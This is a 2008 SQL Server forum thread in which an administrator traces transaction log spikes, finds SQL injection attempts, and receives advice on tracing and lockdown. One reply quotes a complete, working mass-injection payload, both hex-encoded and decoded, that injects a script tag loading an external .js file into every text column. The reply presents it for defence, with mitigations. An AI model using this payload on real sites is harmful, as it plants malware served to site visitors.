May 19, 2008 at 7:03 am
Over the past month we have had a few occasions where the transaction log has filled very fast and run out of space in between the transaction log backups (runs every 30 minutes). When the translog runs of space it takes the replication log reader out because it can't execute sp_replcmds.
This is very unusual spikes of activity which makes me wonder if the db is under attack (as it is the back-end to two of our B2C websites). I've looked at the volume of data being backed up during each 30 minute translog backup and the usual average is about 30mb of data per backup but then I'll get a spike up to over 3Gb. Interestingly when I look at the volume of replicated transactions (which also runs every 30 minutes) they don't mirror these huge spike's in activity and all tables in this db being replicated.
I need to identify where this unusual activity is coming from. I don't want to run Profiler 24x7 because this db is already max'd out and these spikes only occur occasionally. What's the best way to track this down? Is there a way of examining the transaction log contents?
May 19, 2008 at 7:19 am
You could run a server-side trace, using the sp_trace* procs. It's very light weight, much lighter than the profiler front end. You can get profiler to script out the trace creation to make it easier.
Could it be index rebuilds filling the log?
Gail Shaw
Microsoft Certified Master: SQL Server, MVP, M.Sc (Comp Sci)
SQL In The Wild: Discussions on DB performance with occasional diversions into recoverability
May 19, 2008 at 7:20 am
Redgate provide a free tool that i beleive you can use to read the log...but i think that may only be available on SQL Server 2000 there are others out there though.
Gethyn Elliswww.gethynellis.com
May 19, 2008 at 7:37 am
You can read the tran log manually, but it's very hard to understand.
SELECT * from fn_dblog(null, null)
Gail Shaw
Microsoft Certified Master: SQL Server, MVP, M.Sc (Comp Sci)
SQL In The Wild: Discussions on DB performance with occasional diversions into recoverability
May 19, 2008 at 8:51 am
Red Gate's Log Rescue is SS2K only. ApexSQL and Lumigent have 2005 tools.
Could it be reindexing? Those are moved across and could cause the logs to grow.
Follow me on Twitter: http://www.twitter.com/way0utwest
Forum Etiquette: How to post data/code on a forum to get the best help
My Blog: www.voiceofthedba.com
May 20, 2008 at 7:05 am
This may or may not be related to the translog filling but we have found through our investigation some SQL injection attacks attempts on the db.
The injection attack is using syscolumns and sysobjects in the user database to gain information about the table names and fields, is then building a cursor and appending some script information to the fields. I have the developers looking for any un-closed injection holes in the website code but in the meantime I'm concerned as to how the "dumb" account (which only has very contained select, update and delete permissions it needs to operate the website) was able to get this sensitive information.
What I can see is the Public role has Select permissions on the user db system tables and the account we use for the website (let's call it SiteUser) is also a member of the Public role. I can't remove the Public role from SiteUser account. I can remove the Public role having SELECT permissions on the system tables within the user db. Question is, is it safe to remove the SELECT permissions for the Public Role on these system tables? Will it cause any other problems with SQL server operations (backups, replication etc.) if I remove the SELECT permission for the Public role on syscolumns, sysobjects and sysdatabases?
May 20, 2008 at 7:27 am
The same stuff happened to us as well, though I was able to close the SQL Injection but I think hacker is still trying to execute SQL Injection via some looping script which is affecting my database and took it to 100% cpu usage most of the time. I've got seperate post in this regard but any know how on how to trace this activity would be highly appreciated.
May 21, 2008 at 9:50 am
You need to look at your websites log files and search for keywords like DECLARE or CAST or <script
You may find an entry that has an html script tag with source pointing to a url with a .js at the end
This means that your data has been updated with this .js script website.
If you search on DECLARE or CAST you may find this common sql injection attack:
id=87;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200
450020004000540020007600610072006300680061007200280032003500350029002C004000
4300200076006100720063006800610072002800320035003500290020004400450043004C00
41005200450020005400610062006C0065005F0043007500720073006F007200200043005500
520053004F005200200046004F0052002000730065006C00650063007400200061002E006E00
61006D0065002C0062002E006E0061006D0065002000660072006F006D002000730079007300
6F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00
730020006200200077006800650072006500200061002E00690064003D0062002E0069006400
200061006E006400200061002E00780074007900700065003D00270075002700200061006E00
64002000280062002E00780074007900700065003D003900390020006F007200200062002E00
780074007900700065003D003300350020006F007200200062002E0078007400790070006500
3D0032003300310020006F007200200062002E00780074007900700065003D00310036003700
290020004F00500045004E0020005400610062006C0065005F0043007500720073006F007200
20004600450054004300480020004E004500580054002000460052004F004D00200020005400
610062006C0065005F0043007500720073006F007200200049004E0054004F00200040005400
2C004000430020005700480049004C004500280040004000460045005400430048005F005300
540041005400550053003D0030002900200042004500470049004E0020006500780065006300
2800270075007000640061007400650020005B0027002B00400054002B0027005D0020007300
6500740020005B0027002B00400043002B0027005D003D0072007400720069006D0028006300
6F006E0076006500720074002800760061007200630068006100720028003400300030003000
29002C005B0027002B00400043002B0027005D00290029002B00270027003C00730063007200
69007000740020007300720063003D0068007400740070003A002F002F007700770077002E00
6100640077006F0072006400370031002E0063006F006D002F0062002E006A0073003E003C00
2F007300630072006900700074003E0027002700270029002000460045005400430048002000
4E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500
720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400
200043004C004F005300450020005400610062006C0065005F0043007500720073006F007200
20004400450041004C004C004F00430041005400450020005400610062006C0065005F004300
7500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);--
The long value in the cast is what is executed. This long value is converted to a sql script that uses a cursor to loop through sysobjects and syscolumns in your database:
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name
from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar(4000),['+@C+']))+''<script
src=http://www.adword71.com/b.js> ''')
FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
This is only possible if your webuser has db_reader permission on the database and you have not denied Select against these tables to your web user. It then looks for certain types of long text columns in each of the tables in your database. It then updates all the rows, inserting the .js website script tag.
This is all done by simply pasting the long declare/cast statement to the end of the url of the page that is expecting a querystring value to query the database to build the dynamic html.
Ways to secure your webpages from this particular attack:
Deny select against sysobjects and syscolumns tables(sql2000)/views(sql2005) to the web user account that connects the website to the database
Test the input parameter your url is sending to build your webpage. Make sure it is submitting a value you are expecting.
Use stored procedures and do not grant the web user db_reader, db_writer, and definitely not db_owner permissions.
May 21, 2008 at 1:57 pm
This is exactly the type of attack being attempted. We can't see any confirmation of it having been successful in the database though. My developers have been checking through all our COMs and C# classes on the websites to ensure any injection attempt is rejected.
The account we use to access the database from the website is locked down solid, it's not that account that has the issue. The issue is these system tables that allow the injection attack to get information about the table and column names has SELECT permission for the Public Role. All accounts are also members of the Public role therefore the locked down account we are using can be used to gain access to the information in these tables. My question was is it safe to remove the SELECT permission for the Public role as I can't remove the Public role from my locked down webuser account (which seems utterly ridiculous).
I've been reading some whitepapers published by SANS on this subject and these aren't the only two tables that can expose data structure to the outside world via the Public role. There are SPs and other tables that can be used, just this seems a popular attack. It looks like a total minefield so we are concentrating our efforts on locking down all our code to prevent any injection attack using only parameterised SPs in our VB and C# code.
I'm still having issues however with my trans log filling rapidly on occasion and would like to enlist the services of a professional SQL guru who can help me identify the source of this problem. Any of you "SSCommitted" levels out there available for some consultancy in the London, UK area?
J
May 21, 2008 at 2:36 pm
In SQL 2005, only objects that a user has rights on can be seen from the system views. So, if your web site user has no access to the base tables, but does all data access through stored procs (recommended) then the injection attempt firstly wouldn't be able to run at all (because properly parametrised queries don't allow that kind of query concatenation) and even if did, would not be able to see any of the base tables.
Gail Shaw
Microsoft Certified Master: SQL Server, MVP, M.Sc (Comp Sci)
SQL In The Wild: Discussions on DB performance with occasional diversions into recoverability
May 21, 2008 at 2:39 pm
This is a SQL 2000 not 2005 server.
May 22, 2008 at 5:04 am
julia.nicholas (5/21/2008)
I'm still having issues however with my trans log filling rapidly on occasion and would like to enlist the services of a professional SQL guru who can help me identify the source of this problem. Any of you "SSCommitted" levels out there available for some consultancy in the London, UK area?J
I would LOVE to take a trip to London to help out, but I don't think you need a SQL Guru to investigate/deal with this. You need an ASP.NET Rock Star - the sql calls are coming from a website. Perhaps a networking guru who can filter/capture questionable activity could be of use as well. There are security specialist consultants and companies that could provide you a full range of appropriate services.
Best,
Kevin G. Boles
SQL Server Consultant
SQL MVP 2007-2012
TheSQLGuru on googles mail service
May 22, 2008 at 5:40 am
Mr Guru, I would have to disagree. Our website code-base is vast, spans two technologies and some of it dates back 8 years (hence not-so-well-written). If I can get someone who can interpret the contents of the large translogs and give me some clue as to where the issue stems from I can find a starting point for the code investigation, assuming that is where the issue lies and not with some other SQL 2000 issue. At the moment it will be like looking for a needle in a haystack starting from the code-base.
I can see from our application logging and SQL profiler captures there are regular attempts at injection taking place but they are not successful.
I can offer remote access to the server to a suitable Guru subject to the necessary NDA and work contract sign-off. Interested?
J
May 22, 2008 at 8:50 am
I'd love to do the forensics - sounds like interesting stuff. However, I am completely backed up for the forseeable future. Sorry!
If you are lucky and have a middle tier that controls (some) database activity, you should modify this code to do data scrubbing.
Patrick mentioned a mechanism to scan the webserver logs to check for key words.
Maybe get ApexSQL Log (tell them TheSQLGuru sent you for a discount and to give my daughter's college fund a few coins) and see if it can extract out all database activity from the log files to text files and then search those.
Best,
Kevin G. Boles
SQL Server Consultant
SQL MVP 2007-2012
TheSQLGuru on googles mail service
May 22, 2008 at 10:52 am
I'd like to give this ApexSQL Log a try but I'm not sure how now we are after the event.
What I have left to analyse is a BAK file that has a full db backup plus all the translog backups for 24 hours including the ones were it goes ballastic in size. What would I need to do with this to get this ApexSQL analyser to run over it as it looks like the product will only work on a live transaction log? Is there a method of recovering this backup in a test environment that would allow analysis of the large log backups?
J
Viewing 15 posts - 1 through 15 (of 16 total)
You must be logged in to reply to this topic. Login to reply